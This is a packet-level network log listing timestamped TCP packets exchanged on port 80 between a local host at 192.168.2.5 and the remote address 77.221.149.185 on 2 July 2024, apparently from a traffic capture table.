Jul 2, 2024 22:52:33.090087891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090097904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090106964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090116024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090120077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.090125084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090137005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090147018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090147018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.090157032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090163946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090173006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090178013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.090183973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090193033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090198994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.090203047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090213060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090224028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090230942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.090253115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.090805054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090815067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090823889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090833902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090843916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090843916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.090853930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090863943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090872049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090874910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.090877056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090887070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090898991 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.090917110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.090918064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090928078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090935946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090945959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090955973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090959072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.090965033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090976000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090976000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.090986013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.090993881 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.090996981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091006041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091016054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091027021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091028929 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.091036081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091047049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091056108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091058016 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.091064930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091089010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.091110945 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.091749907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091759920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091784954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091794968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091804981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091806889 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.091814995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091824055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091825008 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.091833115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091841936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091850996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091856956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.091861010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091871023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091875076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.091880083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091888905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091892004 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.091897964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091907024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091908932 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.091917992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091922998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.091931105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091941118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091949940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091953993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.091959953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091969013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.091984987 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.092008114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.177484989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.177531004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.177548885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.177560091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.177570105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.177580118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.177591085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.177603006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.177639961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.177671909 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.177742958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.177753925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.177781105 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.177846909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.177898884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.177908897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.177937031 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.177997112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178006887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178016901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178026915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178049088 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.178073883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.178262949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178287029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178297043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178307056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178317070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178329945 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.178332090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178342104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178352118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178359985 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.178363085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178366899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.178405046 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.178426981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178437948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178447008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178457022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178495884 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.178517103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178527117 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.178528070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178539991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178550005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178560972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178565025 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.178570986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178590059 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.178653002 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.178803921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178814888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178829908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178839922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178852081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178854942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.178863049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178874016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.178881884 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.178893089 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.179075956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.179086924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.179095984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.179105997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.179115057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.179120064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.179126024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.179131031 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.179131985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.179143906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.179161072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.179188013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.179219007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.179229975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.179239035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.179250002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.179260015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.179267883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.179270029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.179280996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.179287910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.179291964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.179322004 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.179346085 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180031061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180042982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180052042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180061102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180071115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180080891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180083990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180092096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180103064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180114985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180115938 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180124044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180135012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180138111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180140018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180150986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180155039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180177927 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180197954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180320024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180330038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180340052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180350065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180360079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180366993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180371046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180380106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180381060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180388927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180399895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180401087 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180411100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180422068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180432081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180459976 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180656910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180666924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180676937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180694103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180702925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180710077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180718899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180727005 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180728912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180740118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180748940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180754900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180761099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180764914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180769920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180774927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180779934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180789948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180818081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180828094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180833101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180838108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180847883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180856943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180866957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180877924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180887938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180897951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180902958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180902958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180912971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180927992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.180931091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180943012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180954933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180967093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.180974960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.181016922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.181024075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.181385994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.226416111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.266470909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.266495943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.266510010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.266520977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.266534090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.266545057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.266551018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.266557932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.266578913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.266700029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.266740084 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.266793013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.266805887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.266818047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.266839981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.266895056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.266906977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.266918898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.266925097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.266928911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.266932011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.266978025 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.267004967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267018080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267029047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267045021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.267163992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267179012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267190933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267201900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267213106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267218113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.267225981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267237902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267252922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.267278910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.267352104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267369032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267380953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267390966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267406940 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.267435074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.267469883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267482996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267493963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267504930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267524004 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.267559052 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.267612934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267623901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267636061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267676115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.267697096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267710924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267723083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267735958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267736912 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.267746925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267757893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267761946 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.267793894 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.267947912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267959118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267970085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267981052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.267992020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.267992973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268003941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268021107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.268090963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268111944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268146992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.268245935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268258095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268270969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268282890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268285036 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.268294096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268305063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268313885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.268316031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.268326998 CEST	80	49712	77.221.149.185	192.168.2.5
